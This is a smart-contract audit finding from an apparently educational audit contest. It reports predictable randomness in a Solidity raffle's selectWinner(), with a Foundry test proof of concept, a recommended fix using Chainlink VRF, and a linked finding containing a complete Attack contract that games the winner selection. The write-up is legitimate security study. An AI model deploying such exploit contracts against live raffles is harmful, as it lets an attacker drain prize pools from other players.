Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

[H-02] Weak on-chain randomness in `selectWinner()` allows winner and rarity manipulation

diegotrigueros

Root + Impact

Description

  • selectWinner() determines the winner index and NFT rarity using
    keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)).

  • All three inputs are known or controllable: msg.sender is chosen by the
    caller, block.timestamp and block.difficulty (PREVRANDAO post-merge)
    are known to validators before block inclusion. Any user can precompute
    the hash off-chain and submit the transaction only when the outcome is
    favorable.

// @> All inputs are predictable/manipulable
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
​
// @> Same predictable source for rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood:

  • Validators know PREVRANDAO and block.timestamp before including
    transactions, giving them complete control over randomness.

  • Non-validator attackers can deploy contracts that simulate the hash
    off-chain and call selectWinner from a chosen address at the
    favorable timestamp.

Impact:

  • Attacker guarantees winning the 80% prize pool every raffle round.

  • Attacker guarantees receiving a LEGENDARY rarity NFT (5% nominal
    probability becomes 100%).

Proof of Concept

  • Foundry test test_H02_PredictableRandomness -- PASS

// Predict the winner using the exact same on-chain values
uint256 expectedWinnerIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % 4;
address expectedWinner = players[expectedWinnerIndex];
​
puppyRaffle.selectWinner();
​
// Prediction matches actual winner 100% of the time
assertEq(puppyRaffle.previousWinner(), expectedWinner);

Recommended Mitigation

  • Use Chainlink VRF or another verifiable randomness oracle.

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use Chainlink VRF v2 requestRandomWords() and fulfill in callback
+ uint256 winnerIndex = randomWordFromVRF % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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